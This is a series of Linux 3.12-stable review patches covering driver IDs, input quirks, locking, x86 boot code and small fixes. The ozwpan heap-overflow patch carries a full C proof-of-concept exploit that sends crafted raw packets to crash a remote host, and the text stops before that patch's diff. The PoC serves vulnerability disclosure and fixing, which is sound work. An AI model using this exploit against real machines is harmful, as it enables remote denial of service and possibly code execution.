commit 044bddb9ca8d49edb91bc22b9940a463b0dbb97f upstream.

Add mixer control names for the ESI Maya44 USB+ (which appears to be
identical width the AudioTrak Maya44 USB).

Reported-by: nightmixes <nightmixes@gmail.com>
Signed-off-by: Clemens Ladisch <clemens@ladisch.de>
Signed-off-by: Takashi Iwai <tiwai@suse.de>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 sound/usb/mixer_maps.c | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/sound/usb/mixer_maps.c b/sound/usb/mixer_maps.c
index 4df31b0f94a3..d06fbd9f7cbe 100644
--- a/sound/usb/mixer_maps.c
+++ b/sound/usb/mixer_maps.c
@@ -418,6 +418,11 @@ static struct usbmix_ctl_map usbmix_ctl_maps[] = {
 		.map = ebox44_map,
 	},
 	{
+		/* MAYA44 USB+ */
+		.id = USB_ID(0x2573, 0x0008),
+		.map = maya44_map,
+	},
+	{
 		/* KEF X300A */
 		.id = USB_ID(0x27ac, 0x1000),
 		.map = scms_usb3318_map,
-- 
2.4.6

[PATCH 3.12 009/124] Input: synaptics - add min/max quirk for Lenovo S540

[Jiri Slaby]

From: Peter Hutterer <peter.hutterer@who-t.net>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 7f2ca8b55aeff1fe51ed3570200ef88a96060917 upstream.

https://bugzilla.redhat.com/show_bug.cgi?id=1223051#c2

Tested-by: tommy.gagnes@gmail.com
Signed-off-by: Peter Hutterer <peter.hutterer@who-t.net>
Signed-off-by: Dmitry Torokhov <dmitry.torokhov@gmail.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/input/mouse/synaptics.c | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/drivers/input/mouse/synaptics.c b/drivers/input/mouse/synaptics.c
index b00e282ef166..53f09a8b0b72 100644
--- a/drivers/input/mouse/synaptics.c
+++ b/drivers/input/mouse/synaptics.c
@@ -138,6 +138,10 @@ static const struct min_max_quirk min_max_pnpid_table[] = {
 		1024, 5112, 2024, 4832
 	},
 	{
+		(const char * const []){"LEN2000", NULL},
+		1024, 5113, 2021, 4832
+	},
+	{
 		(const char * const []){"LEN2001", NULL},
 		1024, 5022, 2508, 4832
 	},
@@ -173,7 +177,7 @@ static const char * const topbuttonpad_pnp_ids[] = {
 	"LEN0047",
 	"LEN0048",
 	"LEN0049",
-	"LEN2000",
+	"LEN2000", /* S540 */
 	"LEN2001", /* Edge E431 */
 	"LEN2002", /* Edge E531 */
 	"LEN2003",
-- 
2.4.6

[PATCH 3.12 010/124] Input: elantech - fix detection of touchpads where the revision matches a known rate

[Jiri Slaby]

From: Hans de Goede <hdegoede@redhat.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 5f0ee9d17aae628b22be86966471db65be21f262 upstream.

Make the check to skip the rate check more lax, so that it applies
to all hw_version 4 models.

This fixes the touchpad not being detected properly on Asus PU551LA
laptops.

Reported-and-tested-by: David Zafra Gómez <dezeta@klo.es>
Signed-off-by: Hans de Goede <hdegoede@redhat.com>
Signed-off-by: Dmitry Torokhov <dmitry.torokhov@gmail.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/input/mouse/elantech.c | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/drivers/input/mouse/elantech.c b/drivers/input/mouse/elantech.c
index 71540c0eee44..65945db35377 100644
--- a/drivers/input/mouse/elantech.c
+++ b/drivers/input/mouse/elantech.c
@@ -1273,10 +1273,11 @@ static bool elantech_is_signature_valid(const unsigned char *param)
 		return true;
 
 	/*
-	 * Some models have a revision higher then 20. Meaning param[2] may
-	 * be 10 or 20, skip the rates check for these.
+	 * Some hw_version >= 4 models have a revision higher then 20. Meaning
+	 * that param[2] may be 10 or 20, skip the rates check for these.
 	 */
-	if (param[0] == 0x46 && (param[1] & 0xef) == 0x0f && param[2] < 40)
+	if ((param[0] & 0x0f) >= 0x06 && (param[1] & 0xaf) == 0x0f &&
+	    param[2] < 40)
 		return true;
 
 	for (i = 0; i < ARRAY_SIZE(rates); i++)
-- 
2.4.6

[PATCH 3.12 011/124] block: fix ext_dev_lock lockdep report

[Jiri Slaby]

From: Dan Williams <dan.j.williams@intel.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 4d66e5e9b6d720d8463e11d027bd4ad91c8b1318 upstream.

 =================================
 [ INFO: inconsistent lock state ]
 4.1.0-rc7+ #217 Tainted: G           O
 ---------------------------------
 inconsistent {SOFTIRQ-ON-W} -> {IN-SOFTIRQ-W} usage.
 swapper/6/0 [HC0[0]:SC1[1]:HE1:SE0] takes:
  (ext_devt_lock){+.?...}, at: [<ffffffff8143a60c>] blk_free_devt+0x3c/0x70
 {SOFTIRQ-ON-W} state was registered at:
   [<ffffffff810bf6b1>] __lock_acquire+0x461/0x1e70
   [<ffffffff810c1947>] lock_acquire+0xb7/0x290
   [<ffffffff818ac3a8>] _raw_spin_lock+0x38/0x50
   [<ffffffff8143a07d>] blk_alloc_devt+0x6d/0xd0  <-- take the lock in process context
[..]
  [<ffffffff810bf64e>] __lock_acquire+0x3fe/0x1e70
  [<ffffffff810c00ad>] ? __lock_acquire+0xe5d/0x1e70
  [<ffffffff810c1947>] lock_acquire+0xb7/0x290
  [<ffffffff8143a60c>] ? blk_free_devt+0x3c/0x70
  [<ffffffff818ac3a8>] _raw_spin_lock+0x38/0x50
  [<ffffffff8143a60c>] ? blk_free_devt+0x3c/0x70
  [<ffffffff8143a60c>] blk_free_devt+0x3c/0x70    <-- take the lock in softirq
  [<ffffffff8143bfec>] part_release+0x1c/0x50
  [<ffffffff8158edf6>] device_release+0x36/0xb0
  [<ffffffff8145ac2b>] kobject_cleanup+0x7b/0x1a0
  [<ffffffff8145aad0>] kobject_put+0x30/0x70
  [<ffffffff8158f147>] put_device+0x17/0x20
  [<ffffffff8143c29c>] delete_partition_rcu_cb+0x16c/0x180
  [<ffffffff8143c130>] ? read_dev_sector+0xa0/0xa0
  [<ffffffff810e0e0f>] rcu_process_callbacks+0x2ff/0xa90
  [<ffffffff810e0dcf>] ? rcu_process_callbacks+0x2bf/0xa90
  [<ffffffff81067e2e>] __do_softirq+0xde/0x600

Neil sees this in his tests and it also triggers on pmem driver unbind
for the libnvdimm tests.  This fix is on top of an initial fix by Keith
for incorrect usage of mutex_lock() in this path: 2da78092dda1 "block:
Fix dev_t minor allocation lifetime".  Both this and 2da78092dda1 are
candidates for -stable.

Fixes: 2da78092dda1 ("block: Fix dev_t minor allocation lifetime")
Cc: Keith Busch <keith.busch@intel.com>
Reported-by: NeilBrown <neilb@suse.de>
Signed-off-by: Dan Williams <dan.j.williams@intel.com>
Signed-off-by: Jens Axboe <axboe@fb.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 block/genhd.c | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/block/genhd.c b/block/genhd.c
index a8d586a729bb..9316f5fd416f 100644
--- a/block/genhd.c
+++ b/block/genhd.c
@@ -422,9 +422,9 @@ int blk_alloc_devt(struct hd_struct *part, dev_t *devt)
 	/* allocate ext devt */
 	idr_preload(GFP_KERNEL);
 
-	spin_lock(&ext_devt_lock);
+	spin_lock_bh(&ext_devt_lock);
 	idx = idr_alloc(&ext_devt_idr, part, 0, NR_EXT_DEVT, GFP_NOWAIT);
-	spin_unlock(&ext_devt_lock);
+	spin_unlock_bh(&ext_devt_lock);
 
 	idr_preload_end();
 	if (idx < 0)
@@ -449,9 +449,9 @@ void blk_free_devt(dev_t devt)
 		return;
 
 	if (MAJOR(devt) == BLOCK_EXT_MAJOR) {
-		spin_lock(&ext_devt_lock);
+		spin_lock_bh(&ext_devt_lock);
 		idr_remove(&ext_devt_idr, blk_mangle_minor(MINOR(devt)));
-		spin_unlock(&ext_devt_lock);
+		spin_unlock_bh(&ext_devt_lock);
 	}
 }
 
@@ -691,13 +691,13 @@ struct gendisk *get_gendisk(dev_t devt, int *partno)
 	} else {
 		struct hd_struct *part;
 
-		spin_lock(&ext_devt_lock);
+		spin_lock_bh(&ext_devt_lock);
 		part = idr_find(&ext_devt_idr, blk_mangle_minor(MINOR(devt)));
 		if (part && get_disk(part_to_disk(part))) {
 			*partno = part->partno;
 			disk = part_to_disk(part);
 		}
-		spin_unlock(&ext_devt_lock);
+		spin_unlock_bh(&ext_devt_lock);
 	}
 
 	return disk;
-- 
2.4.6

[PATCH 3.12 012/124] USB: cp210x: add ID for HubZ dual ZigBee and Z-Wave dongle

[Jiri Slaby]

From: "John D. Blair" <johnb@candicontrols.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit df72d588c54dad57dabb3cc8a87475d8ed66d806 upstream.

Added the USB serial device ID for the HubZ dual ZigBee
and Z-Wave radio dongle.

Signed-off-by: John D. Blair <johnb@candicontrols.com>
Signed-off-by: Johan Hovold <johan@kernel.org>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/usb/serial/cp210x.c | 1 +
 1 file changed, 1 insertion(+)

diff --git a/drivers/usb/serial/cp210x.c b/drivers/usb/serial/cp210x.c
index 9cb09dad969d..b3f248593ca6 100644
--- a/drivers/usb/serial/cp210x.c
+++ b/drivers/usb/serial/cp210x.c
@@ -128,6 +128,7 @@ static const struct usb_device_id id_table[] = {
 	{ USB_DEVICE(0x10C4, 0x8946) }, /* Ketra N1 Wireless Interface */
 	{ USB_DEVICE(0x10C4, 0x8977) },	/* CEL MeshWorks DevKit Device */
 	{ USB_DEVICE(0x10C4, 0x8998) }, /* KCF Technologies PRN */
+	{ USB_DEVICE(0x10C4, 0x8A2A) }, /* HubZ dual ZigBee and Z-Wave dongle */
 	{ USB_DEVICE(0x10C4, 0xEA60) }, /* Silicon Labs factory default */
 	{ USB_DEVICE(0x10C4, 0xEA61) }, /* Silicon Labs factory default */
 	{ USB_DEVICE(0x10C4, 0xEA70) }, /* Silicon Labs factory default */
-- 
2.4.6

[PATCH 3.12 013/124] USB: serial: ftdi_sio: Add support for a Motion Tracker Development Board

[Jiri Slaby]

From: Patrick Riphagen <patrick.riphagen@xsens.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 1df5b888f54070a373a73b34488cc78c2365b7b4 upstream.

This adds support for new Xsens device, Motion Tracker Development Board,
using Xsens' own Vendor ID

Signed-off-by: Patrick Riphagen <patrick.riphagen@xsens.com>
Signed-off-by: Johan Hovold <johan@kernel.org>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/usb/serial/ftdi_sio.c     | 1 +
 drivers/usb/serial/ftdi_sio_ids.h | 1 +
 2 files changed, 2 insertions(+)

diff --git a/drivers/usb/serial/ftdi_sio.c b/drivers/usb/serial/ftdi_sio.c
index cc436511ac76..75260b2ee420 100644
--- a/drivers/usb/serial/ftdi_sio.c
+++ b/drivers/usb/serial/ftdi_sio.c
@@ -713,6 +713,7 @@ static struct usb_device_id id_table_combined [] = {
 	{ USB_DEVICE(XSENS_VID, XSENS_AWINDA_DONGLE_PID) },
 	{ USB_DEVICE(XSENS_VID, XSENS_AWINDA_STATION_PID) },
 	{ USB_DEVICE(XSENS_VID, XSENS_CONVERTER_PID) },
+	{ USB_DEVICE(XSENS_VID, XSENS_MTDEVBOARD_PID) },
 	{ USB_DEVICE(XSENS_VID, XSENS_MTW_PID) },
 	{ USB_DEVICE(FTDI_VID, FTDI_OMNI1509) },
 	{ USB_DEVICE(MOBILITY_VID, MOBILITY_USB_SERIAL_PID) },
diff --git a/drivers/usb/serial/ftdi_sio_ids.h b/drivers/usb/serial/ftdi_sio_ids.h
index 4e4f46f3c89c..792e054126de 100644
--- a/drivers/usb/serial/ftdi_sio_ids.h
+++ b/drivers/usb/serial/ftdi_sio_ids.h
@@ -155,6 +155,7 @@
 #define XSENS_AWINDA_STATION_PID 0x0101
 #define XSENS_AWINDA_DONGLE_PID 0x0102
 #define XSENS_MTW_PID		0x0200	/* Xsens MTw */
+#define XSENS_MTDEVBOARD_PID	0x0300	/* Motion Tracker Development Board */
 #define XSENS_CONVERTER_PID	0xD00D	/* Xsens USB-serial converter */
 
 /* Xsens devices using FTDI VID */
-- 
2.4.6

[PATCH 3.12 014/124] x86/asm/irq: Stop relying on magic JMP behavior for early_idt_handlers

[Jiri Slaby]

From: Andy Lutomirski <luto@kernel.org>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 425be5679fd292a3c36cb1fe423086708a99f11a upstream.

The early_idt_handlers asm code generates an array of entry
points spaced nine bytes apart.  It's not really clear from that
code or from the places that reference it what's going on, and
the code only works in the first place because GAS never
generates two-byte JMP instructions when jumping to global
labels.

Clean up the code to generate the correct array stride (member size)
explicitly. This should be considerably more robust against
screw-ups, as GAS will warn if a .fill directive has a negative
count.  Using '. =' to advance would have been even more robust
(it would generate an actual error if it tried to move
backwards), but it would pad with nulls, confusing anyone who
tries to disassemble the code.  The new scheme should be much
clearer to future readers.

While we're at it, improve the comments and rename the array and
common code.

Binutils may start relaxing jumps to non-weak labels.  If so,
this change will fix our build, and we may need to backport this
change.

Before, on x86_64:

  0000000000000000 <early_idt_handlers>:
     0:   6a 00                   pushq  $0x0
     2:   6a 00                   pushq  $0x0
     4:   e9 00 00 00 00          jmpq   9 <early_idt_handlers+0x9>
                          5: R_X86_64_PC32        early_idt_handler-0x4
  ...
    48:   66 90                   xchg   %ax,%ax
    4a:   6a 08                   pushq  $0x8
    4c:   e9 00 00 00 00          jmpq   51 <early_idt_handlers+0x51>
                          4d: R_X86_64_PC32       early_idt_handler-0x4
  ...
   117:   6a 00                   pushq  $0x0
   119:   6a 1f                   pushq  $0x1f
   11b:   e9 00 00 00 00          jmpq   120 <early_idt_handler>
                          11c: R_X86_64_PC32      early_idt_handler-0x4

After:

  0000000000000000 <early_idt_handler_array>:
     0:   6a 00                   pushq  $0x0
     2:   6a 00                   pushq  $0x0
     4:   e9 14 01 00 00          jmpq   11d <early_idt_handler_common>
  ...
    48:   6a 08                   pushq  $0x8
    4a:   e9 d1 00 00 00          jmpq   120 <early_idt_handler_common>
    4f:   cc                      int3
    50:   cc                      int3
  ...
   117:   6a 00                   pushq  $0x0
   119:   6a 1f                   pushq  $0x1f
   11b:   eb 03                   jmp    120 <early_idt_handler_common>
   11d:   cc                      int3
   11e:   cc                      int3
   11f:   cc                      int3

Signed-off-by: Andy Lutomirski <luto@kernel.org>
Acked-by: H. Peter Anvin <hpa@linux.intel.com>
Cc: Binutils <binutils@sourceware.org>
Cc: Borislav Petkov <bp@alien8.de>
Cc: H.J. Lu <hjl.tools@gmail.com>
Cc: Jan Beulich <JBeulich@suse.com>
Cc: Linus Torvalds <torvalds@linux-foundation.org>
Cc: Peter Zijlstra <peterz@infradead.org>
Cc: Thomas Gleixner <tglx@linutronix.de>
Link: http://lkml.kernel.org/r/ac027962af343b0c599cbfcf50b945ad2ef3d7a8.1432336324.git.luto@kernel.org
Signed-off-by: Ingo Molnar <mingo@kernel.org>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 arch/x86/include/asm/segment.h | 13 ++++++++++++-
 arch/x86/kernel/head64.c       |  2 +-
 arch/x86/kernel/head_32.S      | 33 ++++++++++++++++++---------------
 arch/x86/kernel/head_64.S      | 20 +++++++++++---------
 4 files changed, 42 insertions(+), 26 deletions(-)

diff --git a/arch/x86/include/asm/segment.h b/arch/x86/include/asm/segment.h
index c48a95035a77..4dde707a6ff7 100644
--- a/arch/x86/include/asm/segment.h
+++ b/arch/x86/include/asm/segment.h
@@ -212,8 +212,19 @@
 #define TLS_SIZE (GDT_ENTRY_TLS_ENTRIES * 8)
 
 #ifdef __KERNEL__
+
+/*
+ * early_idt_handler_array is an array of entry points referenced in the
+ * early IDT.  For simplicity, it's a real array with one entry point
+ * every nine bytes.  That leaves room for an optional 'push $0' if the
+ * vector has no error code (two bytes), a 'push $vector_number' (two
+ * bytes), and a jump to the common entry code (up to five bytes).
+ */
+#define EARLY_IDT_HANDLER_SIZE 9
+
 #ifndef __ASSEMBLY__
-extern const char early_idt_handlers[NUM_EXCEPTION_VECTORS][2+2+5];
+
+extern const char early_idt_handler_array[NUM_EXCEPTION_VECTORS][EARLY_IDT_HANDLER_SIZE];
 
 /*
  * Load a segment. Fall back on loading the zero
diff --git a/arch/x86/kernel/head64.c b/arch/x86/kernel/head64.c
index 1be8e43b669e..7ad05fd5c51c 100644
--- a/arch/x86/kernel/head64.c
+++ b/arch/x86/kernel/head64.c
@@ -162,7 +162,7 @@ asmlinkage void __init x86_64_start_kernel(char * real_mode_data)
 	clear_bss();
 
 	for (i = 0; i < NUM_EXCEPTION_VECTORS; i++)
-		set_intr_gate(i, &early_idt_handlers[i]);
+		set_intr_gate(i, &early_idt_handler_array[i]);
 	load_idt((const struct desc_ptr *)&idt_descr);
 
 	copy_bootdata(__va(real_mode_data));
diff --git a/arch/x86/kernel/head_32.S b/arch/x86/kernel/head_32.S
index f36bd42d6f0c..30a2aa3782fa 100644
--- a/arch/x86/kernel/head_32.S
+++ b/arch/x86/kernel/head_32.S
@@ -477,21 +477,22 @@ is486:
 __INIT
 setup_once:
 	/*
-	 * Set up a idt with 256 entries pointing to ignore_int,
-	 * interrupt gates. It doesn't actually load idt - that needs
-	 * to be done on each CPU. Interrupts are enabled elsewhere,
-	 * when we can be relatively sure everything is ok.
+	 * Set up a idt with 256 interrupt gates that push zero if there
+	 * is no error code and then jump to early_idt_handler_common.
+	 * It doesn't actually load the idt - that needs to be done on
+	 * each CPU. Interrupts are enabled elsewhere, when we can be
+	 * relatively sure everything is ok.
 	 */
 
 	movl $idt_table,%edi
-	movl $early_idt_handlers,%eax
+	movl $early_idt_handler_array,%eax
 	movl $NUM_EXCEPTION_VECTORS,%ecx
 1:
 	movl %eax,(%edi)
 	movl %eax,4(%edi)
 	/* interrupt gate, dpl=0, present */
 	movl $(0x8E000000 + __KERNEL_CS),2(%edi)
-	addl $9,%eax
+	addl $EARLY_IDT_HANDLER_SIZE,%eax
 	addl $8,%edi
 	loop 1b
 
@@ -523,26 +524,28 @@ setup_once:
 	andl $0,setup_once_ref	/* Once is enough, thanks */
 	ret
 
-ENTRY(early_idt_handlers)
+ENTRY(early_idt_handler_array)
 	# 36(%esp) %eflags
 	# 32(%esp) %cs
 	# 28(%esp) %eip
 	# 24(%rsp) error code
 	i = 0
 	.rept NUM_EXCEPTION_VECTORS
-	.if (EXCEPTION_ERRCODE_MASK >> i) & 1
-	ASM_NOP2
-	.else
+	.ifeq (EXCEPTION_ERRCODE_MASK >> i) & 1
 	pushl $0		# Dummy error code, to make stack frame uniform
 	.endif
 	pushl $i		# 20(%esp) Vector number
-	jmp early_idt_handler
+	jmp early_idt_handler_common
 	i = i + 1
+	.fill early_idt_handler_array + i*EARLY_IDT_HANDLER_SIZE - ., 1, 0xcc
 	.endr
-ENDPROC(early_idt_handlers)
+ENDPROC(early_idt_handler_array)
 	
-	/* This is global to keep gas from relaxing the jumps */
-ENTRY(early_idt_handler)
+early_idt_handler_common:
+	/*
+	 * The stack is the hardware frame, an error code or zero, and the
+	 * vector number.
+	 */
 	cld
 
 	cmpl $2,(%esp)		# X86_TRAP_NMI
@@ -602,7 +605,7 @@ ex_entry:
 is_nmi:
 	addl $8,%esp		/* drop vector number and error code */
 	iret
-ENDPROC(early_idt_handler)
+ENDPROC(early_idt_handler_common)
 
 /* This is the default interrupt "handler" :-) */
 	ALIGN
diff --git a/arch/x86/kernel/head_64.S b/arch/x86/kernel/head_64.S
index a468c0a65c42..a2dc0add72ed 100644
--- a/arch/x86/kernel/head_64.S
+++ b/arch/x86/kernel/head_64.S
@@ -321,26 +321,28 @@ bad_address:
 	jmp bad_address
 
 	__INIT
-	.globl early_idt_handlers
-early_idt_handlers:
+ENTRY(early_idt_handler_array)
 	# 104(%rsp) %rflags
 	#  96(%rsp) %cs
 	#  88(%rsp) %rip
 	#  80(%rsp) error code
 	i = 0
 	.rept NUM_EXCEPTION_VECTORS
-	.if (EXCEPTION_ERRCODE_MASK >> i) & 1
-	ASM_NOP2
-	.else
+	.ifeq (EXCEPTION_ERRCODE_MASK >> i) & 1
 	pushq $0		# Dummy error code, to make stack frame uniform
 	.endif
 	pushq $i		# 72(%rsp) Vector number
-	jmp early_idt_handler
+	jmp early_idt_handler_common
 	i = i + 1
+	.fill early_idt_handler_array + i*EARLY_IDT_HANDLER_SIZE - ., 1, 0xcc
 	.endr
+ENDPROC(early_idt_handler_array)
 
-/* This is global to keep gas from relaxing the jumps */
-ENTRY(early_idt_handler)
+early_idt_handler_common:
+	/*
+	 * The stack is the hardware frame, an error code or zero, and the
+	 * vector number.
+	 */
 	cld
 
 	cmpl $2,(%rsp)		# X86_TRAP_NMI
@@ -412,7 +414,7 @@ ENTRY(early_idt_handler)
 is_nmi:
 	addq $16,%rsp		# drop vector number and error code
 	INTERRUPT_RETURN
-ENDPROC(early_idt_handler)
+ENDPROC(early_idt_handler_common)
 
 	__INITDATA
 
-- 
2.4.6

[PATCH 3.12 015/124] ring-buffer-benchmark: Fix the wrong sched_priority of producer

[Jiri Slaby]

From: Wang Long <long.wanglong@huawei.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 108029323910c5dd1ef8fa2d10da1ce5fbce6e12 upstream.

The producer should be used producer_fifo as its sched_priority,
so correct it.

Link: http://lkml.kernel.org/r/1433923957-67842-1-git-send-email-long.wanglong@huawei.com

Signed-off-by: Wang Long <long.wanglong@huawei.com>
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 kernel/trace/ring_buffer_benchmark.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/kernel/trace/ring_buffer_benchmark.c b/kernel/trace/ring_buffer_benchmark.c
index a5457d577b98..6ad2e2d320fe 100644
--- a/kernel/trace/ring_buffer_benchmark.c
+++ b/kernel/trace/ring_buffer_benchmark.c
@@ -455,7 +455,7 @@ static int __init ring_buffer_benchmark_init(void)
 
 	if (producer_fifo >= 0) {
 		struct sched_param param = {
-			.sched_priority = consumer_fifo
+			.sched_priority = producer_fifo
 		};
 		sched_setscheduler(producer, SCHED_FIFO, &param);
 	} else
-- 
2.4.6

[PATCH 3.12 016/124] MIPS: Fix enabling of DEBUG_STACKOVERFLOW

[Jiri Slaby]

From: James Hogan <james.hogan@imgtec.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 5f35b9cd553fd64415b563497d05a563c988dbd6 upstream.

Commit 334c86c494b9 ("MIPS: IRQ: Add stackoverflow detection") added
kernel stack overflow detection, however it only enabled it conditional
upon the preprocessor definition DEBUG_STACKOVERFLOW, which is never
actually defined. The Kconfig option is called DEBUG_STACKOVERFLOW,
which manifests to the preprocessor as CONFIG_DEBUG_STACKOVERFLOW, so
switch it to using that definition instead.

Fixes: 334c86c494b9 ("MIPS: IRQ: Add stackoverflow detection")
Signed-off-by: James Hogan <james.hogan@imgtec.com>
Cc: Ralf Baechle <ralf@linux-mips.org>
Cc: Adam Jiang <jiang.adam@gmail.com>
Cc: linux-mips@linux-mips.org
Patchwork: http://patchwork.linux-mips.org/patch/10531/
Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 arch/mips/kernel/irq.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/mips/kernel/irq.c b/arch/mips/kernel/irq.c
index d1fea7a054be..7479d8d847a6 100644
--- a/arch/mips/kernel/irq.c
+++ b/arch/mips/kernel/irq.c
@@ -110,7 +110,7 @@ void __init init_IRQ(void)
 #endif
 }
 
-#ifdef DEBUG_STACKOVERFLOW
+#ifdef CONFIG_DEBUG_STACKOVERFLOW
 static inline void check_stack_overflow(void)
 {
 	unsigned long sp;
-- 
2.4.6

[PATCH 3.12 017/124] ozwpan: Use proper check to prevent heap overflow

[Jiri Slaby]

From: "Jason A. Donenfeld" <Jason@zx2c4.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit d114b9fe78c8d6fc6e70808c2092aa307c36dc8e upstream.

Since elt->length is a u8, we can make this variable a u8. Then we can
do proper bounds checking more easily. Without this, a potentially
negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
resulting in a remotely exploitable heap overflow with network
supplied data.

This could result in remote code execution. A PoC which obtains DoS
follows below. It requires the ozprotocol.h file from this module.

=-=-=-=-=-=

 #include <arpa/inet.h>
 #include <linux/if_packet.h>
 #include <net/if.h>
 #include <netinet/ether.h>
 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>
 #include <endian.h>
 #include <sys/ioctl.h>
 #include <sys/socket.h>

 #define u8 uint8_t
 #define u16 uint16_t
 #define u32 uint32_t
 #define __packed __attribute__((__packed__))
 #include "ozprotocol.h"

static int hex2num(char c)
{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])
{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
	} __packed connect_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 35,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		}
	};

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_get_desc_rsp oz_get_desc_rsp;
	} __packed pwn_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(1)
		},
		.oz_elt = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_get_desc_rsp) - 2
		},
		.oz_get_desc_rsp = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_GET_DESC_RSP,
			.req_id = 0,
			.offset = htole16(0),
			.total_size = htole16(0),
			.rcode = 0,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	usleep(300000);
	if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/staging/ozwpan/ozusbsvc1.c | 13 +++++++++----
 1 file changed, 9 insertions(+), 4 deletions(-)

diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
index 228bffaa69c9..5f51faeccc9b 100644
--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
